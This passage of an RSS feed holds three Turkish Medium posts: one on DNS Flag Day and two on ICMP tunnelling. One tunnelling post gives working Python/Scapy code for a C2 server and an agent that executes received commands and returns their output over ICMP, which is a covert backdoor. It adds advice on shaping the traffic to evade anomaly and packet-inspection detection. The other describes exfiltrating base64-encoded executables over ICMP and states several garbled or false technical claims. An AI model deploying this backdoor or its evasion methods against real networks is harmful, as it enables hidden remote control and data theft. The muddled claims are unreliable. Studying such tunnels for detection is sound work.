        </item>
        <item>
            <title><![CDATA[DNS Flag Day]]></title>
            <link>https://medium.com/@brkalbyrk/dns-flag-day-dcb7fb0f134a?source=rss-470684e20f75------2</link>
            <guid isPermaLink="false">https://medium.com/p/dcb7fb0f134a</guid>
            <dc:creator><![CDATA[Berk ALBAYRAK]]></dc:creator>
            <pubDate>Tue, 15 Jan 2019 11:31:53 GMT</pubDate>
            <atom:updated>2019-04-04T13:25:32.559Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/693/1*ViqDZ3IzVEwkTDghQI_3AA.jpeg" /></figure><h3><strong>Ne Oluyor?</strong></h3><p>Mevcut DNS hizmeti gereksiz yere yavaş ve yeni özelliklerin eklenememesinden muzdarip bir durumda. DNS yazılım satıcıları ve genel DNS sağlayıcıları 1 Şubat 2019 tarihinden itibaren bazı geçici çözümleri kaldıracaklar. Bu değişiklik yalnızca standartları takip etmeyen yazılımları çalıştıran siteleri etkileyecek.</p><h3><strong>Geçmişe Dönüş</strong></h3><p>Alan Adı Sistemi(DNS) ilk olarak, internetin yeni başladığı masum günlerinde, güven standardizasyonunun kabul edildiği günlerde ün salmaya başladı. Kullanıcı havuzunun çok küçük olduğu ve internetin çok az kullanıldığı için temel hizmet olarak DNS’in önemi büyük ölçüde yanlış anlaşılmıştı ve sonuçta az gelişmiş, daha da önemlisi korunaksız kalmıştı.</p><p>Bu tarihlerden ileriye doğru gittiğimizde ilk sonuçlarını görebiliyoruz wide-spreat-complexity(geniş kapsamlı karmaşıklığın patlaması). (DNS şu anda en az 185 RFC(yorum isteği) ile tanımlanıyor.) Siber suçlular Dağıtılmış Hizmet Reddi Saldırı(DDoS) saldırılarını bu masumluktan faydalanarak başlattılar. Kötü niyetli insanların DNS’yi ve sorunları daha problemli hale getirmek için yenilikçi yollar bulmasına rağmen, riskler hala yüksek ancak sonuçları çok basit: İşlevsel olmayan DNS yoksa, website yok.</p><h3><strong>Şimdi Nasıl?</strong></h3><p>Neyse ki, protokolün herkes için düzgün çalışmasını sağlayacak çalışmalar yürütülüyor. Yıllar geçtikçe bu protokol sofistike şekilde büyüdü ve DNS’in internetin bir parçası olarak kalmaya devam etmesi için bir çok geçici çözüm uygulandı. Ancak, sunucu operatörlerini, uygulama geliştiricilerini, ağ altyapı sağlayıcı satıcılarını güncellemeler için teşvik etmek çok yavaş bir süreç.</p><p>Bu durumlarda, eskiyen uyumsuz uygulamaları değiştirmek yerine, geçici çözümler üretmek DNS’i yavaşlatıyor. Bu sorunları çözmek için, DNS yazılımı satıcıları ve büyük DNS sağlayıcıları, 1 Şubat 2019&#39;da, DNS Flag Day(DNS Bayrak Günü) olarak bilinen günde şu zamana kadar ki geçici çözümleri kaldıracaklar.</p><h3><strong>Ne Olacak?</strong></h3><p>Tüm bu olaylar yaklaşık 19 yıl önce DNS için Uzatma Mekanizmaları(EDNS(0)) tanıtımıyla başladı. EDNS(0) standartları 2013 yılında RFC 6891&#39;de belirlendi ancak o zamandan beri hala değişmekte. Peki EDNS sizin için ne yapıyor?<br>EDNS DNSSEC, Client Subnet ve diğer uzantılar gibi DNS özelliklerinin DNS protokolüne dahil edilmesini sağlar. Ayrıca, DNS’in 512 bayttan büyük kayıtlarla yanıt vermesine izin verir. Bugün karşı karşıya kalınan sorun, DNS sunucularının belirli EDNS özelliklerini destekleyip desteklemedikleri sorulduğunda, isteklere yanıt verme biçimleriyle ilgili. Standart, yalnızca isteği yok saymak ve normal bir DNS yanıtı döndürmek için istenen özelliği desteklemeyen sunucuları da çağırır. Bozuk bir DNS sunucusu isteğe hiçbir şekilde yanıt vermeyecek veya en kötü durumda çökecektir. Sonuçta tüm bu istek gidiş dönüşleri yavaş olacak ve karşı sunucunun zaman aşımı ayarlarına bağlı olarak 5–10 saniye sürebilecek. Artık DNS çözümleyici sağlayıcıları(Google, Cloudfare, NLNET LABS, ISC, Facebook, Quad9, PowerDNS, Cisco) bu tarz hata dönüşlerinden kaynaklanan zaman aşımlarını beklemeyecek ve isteklerini doğru şekilde yanıtlamayan tüm sunucuların websitelerini temizleyecekler. Kötü kodlanan DNS sunucularında barındırılan etki alanlarının doğru olarak çözümlenemeyeceği anlamına gelmekte olan bu uyarı tüm websitelerinin çok kötü bir zaman geçireceğine işaret.</p><h3>Ne <strong>Yapmalıyız</strong>?</h3><p>Şimdi dikkatinizi çektiğime göre bu kıyamet gününden sağ çıkmak için yapacaklarınıza bakmalıyız. Çözüm ise basit:</p><ol><li>Sahip olduğunuz tüm alan adlarının listesini yapın.</li><li><a href="https://dnsflagday.net/">https://dnsflagday.net/</a> adresine gidin.</li><li>Etki alanı sahipleri bölümüne gidin ve her etki alanını test edin; sonuçların altında bir “ek bilgi” bağlantısını da göreceksiniz.</li><li>Sonuçlarınızı kaydedin</li></ol><p>Başarısız olan her alan adı için, ad sunucuları incelenmelidir. Belirli bir ad sunucusu tarafından barındırılan bir alan adınız başarısız olursa, sorunu çözmek için, bu sağlayıcıya başvurmanız ve bulguları gözden geçirmeniz gerekmektedir. Sağlayıcı, DNS sunucu yazılımlarını, isteklere doğru cevap veren bir sürüme yükseltmeli veya söz konusu yazılımın geliştiricisi ile iletişim kurup bir düzeltme talep etmeli. Eğer sağlayıcınız yazılımlarını güncellemezse, alan adınızı bu testleri geçen bir sağlayıcıya geçirmelisiniz. Ayrıca, sağlayıcınızın UDP üzerinden DNS sorgularını desteklediğinden emin olmalısınız ve artık TCP gerekli olduğundan ve güvenlik duvarlarının DNS sağlayıcısı tarafından uygun şekilde yapılandırıldığından emin olmanız gerekir.</p><p>Etki alanlarınızı test etmek ve doğrulamak için biraz zaman harcayarak, DNS Bayrak Gününden sağ salim çıkabilirsiniz.</p><p>Kaynaklar:</p><p><a href="https://dnsflagday.net/">DNS flag day</a></p><p>Uyanınca ilk mesajda bunu görmemi sağlayan Raif Berkay Dinçel :)</p><p><a href="https://www.tripwire.com/state-of-security/security-awareness/dns-flag-day-dns-doomsday/">https://www.tripwire.com/state-of-security/security-awareness/dns-flag-day-dns-doomsday/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=dcb7fb0f134a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Ping Gücü — ICMP Tüneli]]></title>
            <link>https://medium.com/@brkalbyrk/ping-g%C3%BCc%C3%BC-icmp-t%C3%BCneli-a88b91437c5b?source=rss-470684e20f75------2</link>
            <guid isPermaLink="false">https://medium.com/p/a88b91437c5b</guid>
            <dc:creator><![CDATA[Berk ALBAYRAK]]></dc:creator>
            <pubDate>Tue, 08 Jan 2019 15:01:40 GMT</pubDate>
            <atom:updated>2019-01-08T20:28:23.122Z</atom:updated>
            <content:encoded><![CDATA[<h3>Ping’in Gücü — ICMP Tüneli</h3><p>Bir saldırgan, yapacağı faaliyetlerde bir takım zorluklarla yüzleşir.<br>Bu zorluklardan ikisi şu şekildedir:</p><ol><li>Ağ engellerini aşmak(ağ politikaları, bölümlendirme vb.)</li><li>“Gizli modda” farklı işlemler yapın, böylece yakalanmayacaksınız.</li></ol><p>Bu zorluklarla başa çıkmanın yolu ağdaki engelleri aşmak ve gizli bir bağlantı oluşturmak için ICMP Tünelini kullanmaktır.</p><p>Bilgisayar ağlarında, tünel oluşturma, genellikle bir ağ protokolünün başka bir ağ protokolünün yükü olarak kapsüllenmesidir. <a href="https://en.m.wikipedia.org/wiki/Tunneling_protocol">Daha fazlasını okuyun</a></p><p>ICMP(İnternet Kontrol Mesajı Protokolü), İnternet protokol takımındaki destekleyici bir protokoldür.Ağ cihazları tarafından hata mesajları ve operasyonel bilgi göndermek amacıyla kullanılır. En bilinen ve yaygın olarak kullanılan şekli ise <a href="https://en.wikipedia.org/wiki/Ping_%28networking_utility%29">Ping</a> mesajıdır.</p><p>Ping, ICMP(İnternet Konrol Mesajı Protokolü)’nin bir parçası olarak kullanılan kontrol mesajıdır.</p><p>Ping, bir ağdaki cihazdan diğerine gönderilir. Katman 2, katman 3 başlıkları (OSI modelinin MAC ve IP başlıkları) ve özel bir ICMP paketinden oluşturulmuştur.Gönderen cihaz, hedef parametreleri ayarlayacaktır ve mesaj hedef tarafından alındığında geri bildirim gönderecektir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/471/1*VqW8wJFPkvMxMDN7zERHcQ.png" /></figure><p>Bu bir ping paketinin IP datagramıdır.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EVtIGdj2s_TotTwVMP90UA.png" /></figure><p>ICMP Tüneli Oluşturma, gönderilen payload verisi değiştirilerek yapılabilir, böylece göndermek istediğimiz verileri içinde barındıracaktır.</p><p>Genellikle, bu ASCII dizesi gibi varsayılan bir payload verisini içerir:<br> “abcdefghijklmnopqrstuvwabcdefghi”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/767/1*OEr5GUnLFeSYTW-4ElY9WQ.png" /><figcaption>Wireshark- ICMP Paketi, yük taşıma verileri</figcaption></figure><p>Eğer bir HTTP paketini Payload verisi içine alırsak, bu yöntemin en yaygın yolunu bulacağız, Pay-for-Wifi.</p><p>Bu, ping iletilerini bekleyen ve gerektiğinde geri bilgi gönderen bir proxy sunucusu kullanılarak başarılabilir. (Örneğin HTTP olarak).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/634/1*1p2nLGVWjySybhNYnhaLEQ.png" /></figure><ol><li>Doğru araçları kullanarak (ptunnel gibi), Google’a Ping paketiyle göndermek istediğiniz veriyi HTTP paketi içine alın(Payload Verisi İçinde).<br>Ardından, proxy sunucusunun IP adresine hedef olarak gönderin.<br>* Not: Bu IP, HTTP paketinin hedefi değildir.(HTTP paketinin IP hedefi, www.google.com.tr’nin IP’si olacaktır)<br>1. Havaalanları yönlendiricileri genellikle ICMP trafiğinin ağdan çıkmasına izin verdiğinden, yönlendirici Ping iletisini proxy sunucusuna iletir.<br>2. Proxy sunucusu Ping paketini alır, 2 bölüme ayırır:</li></ol><ul><li>ICMP başlıkları</li><li>Orijinal HTTP mesajını içeren yük</li><li>Not:Proxy’nin Google’a gönderdiği HTTP paketinin kaynak IP’si proxy sunucusunun IP’si olmalıdır, kendi bilgisayarınızın IP’si değil.</li></ul><p>Bu ICMP Tüneli’nin en yaygın kullanımı olabilir, Red Teamer olarak, güvenlik duvarlarından ve diğer ağ politikalarından kaçınmak için “radar altında” bir yöntem olarak oldukça faydalı buluyorum.</p><p>Bunların hepsi mümkündür, çünkü ping mesajlarının yönlendiriciyi “Pay-for-WİFİ” LAN’ından İnternete geçmesine izin verilir.<br>Neden biri bu durumun olmasına izin veriyor?</p><p>Eski bir ağ mühendisi olarak, en karmaşık sorunları bile anlamaya ve çözmeye çalışırken ping’in çok fazla gücünün olduğunu söyleyebilirim.<br>Sorun giderme işlemlerinin çoğu, bilgilerin bir noktadan diğerine geçip geçmediğini test etmekle başlar. Bu bilginin rotası doğru mu? diye sorarsınız. Ağ bileşenleri aktif ve cevap verebilir mi?</p><p>Ping mesajları, bur soruları ve diğerlerini en basit şekilde cevaplayabilir.</p><p>Bu sorun giderme işlemleri günlük olarak gerçekleşir. Bu, ağ yapılandırmasının ağdaki ping mesajlarının bir noktadan diğerine iletilmesine izin vermesi gerektiği anlamına gelir. Her güvenlik duvarı ilkesi, yönlendirici ilkesi ve ACL’yi Değiştirme(Erişim Listesi), ICMP iletilerinin hemen hemen her ağ bileşeninden diğerine akışına izin vermelidir.<br>Bu nedenle, ping mesajlarının büyük olasılıkla ağ bölümlendirmesinden ve politikalarından daha az etkilenmesi bekleniyor.</p><p>Bana öyle geliyor ki bunu bilmek, segmentasyon ve ağ politikaları gibi engelleri aşmanız gerektiğinde bir ağda bağlantı oluşturmak için kişilerin ICMP Tünelini kullanarak C&amp;C sunucusuna bağlanmasına fayda sağlayabilir.</p><p>Nasıl çalıştığını göstermek için python’da basit bir POC yazdım.</p><p>Bunu not edin:</p><ul><li>Bu POC, Scapy’yi yüklemenizi gerektirir.(Öğrenmeniz adına harika bir araç)</li><li>Bu POC, parçalanma ile uğraşmayı içermeyecektir. Parçalanma, örneğin, kişiden gelen cevap daha büyükse, izin verilen veri taşıma yükü boyutundan büyük olacaktır.</li><li>Bu POC bir C&amp;C sunucusu ve bir aracı içerecektir. C2 sunucusunun aracı komutlarını bir ICMP Tüneli yoluyla göndereceği ve araç sonuçlarının da tünelden gönderileceği zaman kullanılır.</li></ul><p><strong>C2.py</strong></p><pre>#!/usr/bin/env python3<br>from scapy.all import *</pre><pre>def main():<br>    while True:<br>        command = raw_input(&#39;# Enter command: &#39;)<br>        <em># build the ICMP packet with the command as the payload</em><br>        pinger = IP(dst=&quot;localhost&quot;)/ICMP(id=0x0001, seq=0x1)/<strong>command</strong><br>        send(pinger)<br><em>        # wait for the ICMP message containing the answer from the agent   <br></em><em>        # to be received</em><br>        rx = sniff(count=1, timeout=2)<br>        <em># use this if agent is not on local machine: rx = sniff(filter=&quot;icmp&quot;, count=1)<br></em><em>        print(rx[0][Raw].load.decode(&#39;utf-8&#39;))</em></pre><pre>if __name__ == &quot;__main__&quot;:<br>    main()</pre><p><strong>Agent.py</strong></p><pre>#!/usr/bin/env python3<br>import os<br>from scapy.all import *</pre><pre>def main():<br>    while True:<br>  <em>      # wait for the ICMP message containing the command from the C2 server<br></em><em>        # to be received</em><br>        rx = sniff(filter=&quot;icmp&quot;, count=1)<br><em>        # strip down the packet to the payload itself</em><br>        var = rx[0][Raw].load.decode(&#39;utf-8&#39;)<br><em>        # run the command and save the result</em><br>        res = os.popen(var).read()<br><em>        # build the ICMP packet with the result as the payload</em><br>        send(IP(dst=&quot;localhost&quot;)/ICMP(<strong>type=&quot;echo-reply&quot;</strong>, id=0x0001, seq=0x1)/<strong>res</strong>)</pre><pre>if __name__ == &quot;__main__&quot;:<br>    main()</pre><p>Bunu kullanmak ise böyle bir sonuç verecek:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/650/1*eiz5eCamFmqOQRpcqyWHxg.png" /></figure><p>Ve Wireshark’ı kullanarak tam olarak ne olup bittiğini görmek her zaman iyi bir fikirdir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EeME3k_HdqD5l-2j42BZ8Q.png" /><figcaption>C2 — pwd komutu</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IiRAxPCZUigFPkn-H2ZyBw.png" /><figcaption>Temsilcinin — pwd sonucu</figcaption></figure><p>Gördüğünüz gibi: Biri komut, diğeri sonuç olan 2 ICMP mesajı var.</p><h3><strong>DPOV (Savunma Açısı)</strong></h3><p>Savunan bakış açısında bakmak ve bu tür araçları geliştirirken nelere dikkat etmemiz gerektiğini düşünmek önemlidir.</p><p>Hatırlanması gereken en önemli şey, siber güvenlik araçlarının güvenlik duvarı beyaz liste politikalarıyla başlamamalı ve bitmemelidir. Günümüzün savunma araçlarının çoğu, bir tür anormallik tespit işlevselliği içerir.</p><p>İlk önce ilgili konunun ortak davranışını tanımlayarak bazı ilginç anormallikleri ortaya çıkarmak iyi bir yoldur.</p><p>Düzenli bir ağdaki ping mesajları hakkında konuşurken, aşağıdaki özellikleri sıralayabiliriz.</p><ol><li>Ping mesajlarının çoğu varsayılan şekline göre gönderilir, bir seferde 4 defa atılır.</li><li>Ping mesajının 8 (echo ping isteği) türü ve Ping cevabının 0 (echo ping yanıtı) türü vardır.</li><li>Her ping paketiyle birlikte gönderilen bazı alanlar vardır.(Windows 8.1 Kullanılarak):</li></ol><ul><li>id = 0x0001</li><li>Tekrarın sırası, isteğin sırasına eşit olacaktır</li><li>Veri taşıma kapasitesi varsayılan boyutu (32 Byte) ve içerikle kalacaktır.<br>- “abcdefghijklmnopqrstuvwabcdefghi”</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/935/1*yuKvFH-GDH4CsO8j-pWhyw.png" /></figure><p>O zaman yukarıdakilerin hepsini bilerek düşünmelisin:</p><ol><li>C&amp;C ve Temsilci’yi, her 1 dakikada bir partide 4&#39;ten fazla ping mesajı olmayacak şekilde oluşturun. Aktarmanız gereken veriler 15 ping mesajı alırsa, iletilmesi 3 dakika sürecektir. Yavaş olabilir, ancak birileri veya bir şey bu anormalliğe bakıyorsa buna değer.</li><li>Ping isteği ve yanıtının mantıksal olarak doğru olduğundan emin olun.<br>Gönderdiğiniz her ping mesajı, örneğin 0 türünde olacaksa, ping isteği olmadığında çok sayıda ping yanıtı görmek ilginç olurdu.</li><li>Etrafınıza olabildiğince benzer olmaya çalışın. Araştırma yapın. Elbette, bu alanları yapılandırılabilir halde tutabilir ve kullandıkça değiştirebilirsiniz.</li><li>Veri taşıma kapasitesinin boyutuna ve bunun bir metadata bilgisi olduğuna dikkat edin.</li><li>Giden verinin içeriği : DPI hakkında konuşalım…</li></ol><h3>DPI- Derin Paket Denetimi</h3><p>Oysa geleneksel paket denetimleri, metadata okumak(özellikle başlıklar) ve derin paket inceleme için gerçek zamanlı olarak geçiyor. Temel olarak, yüke bir bakış atıyor ve doğru görünüp görünmediğini anlamaya çalışıyor.</p><p>Bizim durumumuzda protokol anormalliği özelliğini kullanan bir DPI aracı, yüke bakarak ICMP Tüneli’ni keşfedebilir ve olması gerekenden farklı olduğunu görebilir.</p><p>Bu durumda, diğer tüm parametreleri değiştirmemize yardımcı olmayacaktır.</p><p>Öyleyse, neden ICMP Tünel Oluşturma ile uğraşalım ki?</p><p>Çünkü:</p><ol><li>DPI önemsiz bir yetenek değildir ve bu yeteneğe sahip olmayan bir çok ağa rastlayabilirsiniz.</li><li>Çoğu DPI aracı imza veritabanına dayanır. ICMP iletilerine ilişkin bir imza yoksa ICMP Tüneli’ni algılayamaz.</li><li>Veritabanında ilgili bir imza olsa bile, operatör önce aktif modda yapılandırılmalıdır.</li></ol><ul><li>Neden aktifleştirilmemiş olabilir_</li><li>Her imza kontrolü işlem kaynaklarını alır(Çoğunlukla CPU ve zamanı), bu nedenle ağı yavaşlatabilir.</li><li>Ağ kontrolleri, MTU özelliklerini içeren problemleri gidermek için, farklı yük taşıma boyutlarına sahip farklı tipte ping mesajları içerebilir(örneğin, ping -l 1234 8.8.8.8, 1234 [Bayt] büyüklüğünde veri yükü olan bir ping mesajı gönderir). Bu tür bir imzanın etkinleştirilmesi, birçok yanlış/pozitif uyarının artmasına neden olacak ve böylece izleme ekibini rahatsız edecektir. Aynı zamanda imzanın güvenilirliğini azaltacaktır</li></ul><h3><strong>sum += 1337</strong></h3><p>ICMP Tüneli oluşturma, “radar altında” iletişim kurmak için mükemmel bir araçtır. Daha az etkili olacağı zamanlar olsa da, ağdaki mevcut savunmaya bağlı olarak belirli sınırlamaları aşmada basit ve kullanışlı bir yol olduğunu göreceksiniz.</p><p>En önemlisi, bilmeye değer bir kavram. Üzerinde birkaç numara yaparsanız, DNS Tüneli, SSH Tüneli ve benzeri gibi ihtiyaç duyduğunuz kadar farklı çözümler geliştirebilirsiniz.</p><p><em>Bu yazı Nir Chako’dan izin alınarak çevrilmiştir. Asıl metin için: </em><a href="https://medium.com/bugbountywriteup/ping-power-icmp-tunnel-31e2abb2aaea"><em>https://medium.com/bugbountywriteup/ping-power-icmp-tunnel-31e2abb2aaea</em></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a88b91437c5b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ICMP Tunneling]]></title>
            <link>https://medium.com/@brkalbyrk/icmp-tunneling-61f58871bdc3?source=rss-470684e20f75------2</link>
            <guid isPermaLink="false">https://medium.com/p/61f58871bdc3</guid>
            <dc:creator><![CDATA[Berk ALBAYRAK]]></dc:creator>
            <pubDate>Mon, 19 Nov 2018 13:57:17 GMT</pubDate>
            <atom:updated>2020-05-17T18:42:50.177Z</atom:updated>
            <content:encoded><![CDATA[<p>ICMP Nedir?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AadpxkqA9qM-MGgRIo_lQw.png" /></figure><p>ICMP(Internet Control Message Protocol) veya Türkçe adıyla “İnternet Kontrol Mesajı Protokolü” herhangi bir port numarası kullanmaz ve ağ katmanında çalışır. <br>ICMP, genellikle teşhis amaçlı, hata raporlama veya herhangi bir sunucuyu sorgulamak için kullanılır.</p><p>ICMP, bu gibi sorgulama durumlarında hataları raporlamak için kullanılan, kontrol amaçlı bir protokoldür. Her hostta ICMP protokolü bulunur. Aynı şekilde uzak bir sistem hakkında bilgi toplamak için sıkça kullanıldığından çok önemli bir protokoldür. ICMP kısaca trafiği denetler ve geri bildirim sağlar.</p><p>ICMP’nin Önemi</p><p>Ping, traceroute gibi sık kullanılan ICMP komutlarına birçok sistem izin vermektedir. <br>Bu komutlar sayesinde hedef sistemin yapısı ve network topolojisi hakkında değerli bilgilere erişilebilir.</p><p>Çok sık ve her yerde ihtiyaç duyulması sebebiyle de güvenlik duvarlarında bu zararsız gözüken paketlerin geçişine ihtiyaç göz önünde bulundurulmadan sınırsız izin verme alışkanlığı yaygın. Güvenlik duvarı ayarlarında bu paketlere sınırsız izin verilmesini engellediğinizde sistem ve ağ yönetimini zorlaştırdığınız da doğru.</p><p>Yine de bazı özel durumlarda hassas bir ağ bölümünden bilgi sızmasını engellemek için dikkat etmeniz gereken bir protokol.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/762/1*LXGIVYXIP5XUc5w0DsWAvw.png" /></figure><p>ICMP Tunneling Nedir?</p><p>ICMP tünelleri, veri akışının herhangi bir güvenlik mekanizması tarafından kontrol edilmediği bir tür gizli kanaldır.</p><p>Bu tüneller server ve client arasında ICMP ile bir veri gönderildiğinde alarm oluşmaması için güvenlik duvarını zorlar.</p><p>ICMP tünellemesi bu iki bağlantı arasındaki istek ve yanıtların gizli bir şekilde oluşmasını sağlar. Bu sayede ICMP paketlerinin içerisine istediğiniz veriyi enjekte edebilir ve hiçbir sorunla karşılaşmadan uzaktaki sisteme gönderebilirsiniz. Uzaktaki bilgisayar başka bir <br>ICMP mesajına cevap vereceği ve sadece IP’lerle uğraşacağı için veriyi yakalayamaz.</p><p>Bu mesajlar ile güvenlik duvarlarını atlatabilirsiniz.<br>Bu nedenle, derin paket incelemesi yapılmadığı sürece ağ yöneticisi veya güvenlik yöneticileri bu tür şifrelenmiş iletişimi algılayamayacaktır.</p><p>Normal Veri İletişimi</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*o274SresGLYnflFp5h3S_A.png" /></figure><p>ICMP Tunneling İle</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*E-tKh8whXD-yK55ficDyiA.png" /></figure><p>Şimdi sizlerle hping3 aracını kullanarak bu iletişimi izleyelim. Aynı işlem ping ile de yapılabilmektedir ancak içerisine bir veri yazamazsınız.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AelpHiKAtZ_djFi_SNUHHw.png" /></figure><p>Eğer hedefi tespit edebilirsek göndermiş olduğumuz verileri de görebileceğiz.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e8cVnIijrhrUDN88ev35zA.png" /></figure><p>Görmüş olduğunuz gibi sisteme istediğimiz mesajı iletebiliyoruz. Bu mesajların içerisine istediğiniz veriyi enjekte edip karşı sisteme gönderebilirsiniz.</p><p>Bir enjekte örneği ile olaya bakalım.<br>Windows’un içerisinde bulunan CertUtil uygulaması ile istediğimiz bir exe dosyasını çok rahat bir şekilde base64 verileri haline getirdikten sonra bu verileri parçalar halinde karşı sisteme gönderilmesini ICMP paketleri ile gerçekleştirebiliriz. Gönderdiğimiz paketleri paket yakalama veya ağ trafiği inceleme programları ile yakaladığımızda makinenin çevrimdışı parolaları elimize md5 şifreli bir halde geçmektedir. Bu şifrelemeyi kırdıktan sonra makineye ait parolayı bulabiliriz.</p><p>ICMP tunneling bize ne avantaj sağlar kısmına gelirsek de:<br>ICMP hata mesajları (Protokol / Port Ulaşılamaz) bir IP adresine veya bir LAN segmentine ait açık portları taramak için kullanılabilir.<br>OS Fingerprint (OS Parmak İzi), ICMP paketinin yanıtına bakarak sunucunun hangi işletim sistemi tarafından çalıştırıldığını öğrenebiliriz. Yöntemi basittir gelen veri 128 TTL değerine sahipse Windows, 64 bit TTL değerine sahipse Linux’tur.<br>Çoğunlukla firewall tarafından denetlenmediği için modeme giden ICMP paketlerinin kaynak ağını bozarsak bu saldırı engellenemez tüm ağı yavaşlatacak bir sıkışıklığa neden olur.<br>ICMP paketlerinin yolları rahatlıkla izlenebilir olduğundan ağa ait bir topoloji belirlenebilir.<br>ICMP paketleri ile bir çeşit Ddos saldırısı olan Teardrop Attack sizi güvenlik duvarı tarafından etki dışı bırakılmadan ağda saldırı yapmanıza olanak tanır. ICMP ile göndermiş olduğunuz paketlerin içerisinde bulunan IP’leri daha da küçük parçalara ayırarak sisteme gönderdiğiniz zaman sistem bu paketleri işlemekte çok zorlanacağından ve bunu yapamayacak kadar hızlı bir iletişim gerçekleştiğinden interneti kullanamaz.</p><p>Farklı bir çeviri yazıda daha teknik değinilmiştir.<br><a href="https://medium.com/@brkalbyrk/ping-g%C3%BCc%C3%BC-icmp-t%C3%BCneli-a88b91437c5b">https://medium.com/@brkalbyrk/ping-g%C3%BCc%C3%BC-icmp-t%C3%BCneli-a88b91437c5b</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=61f58871bdc3" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>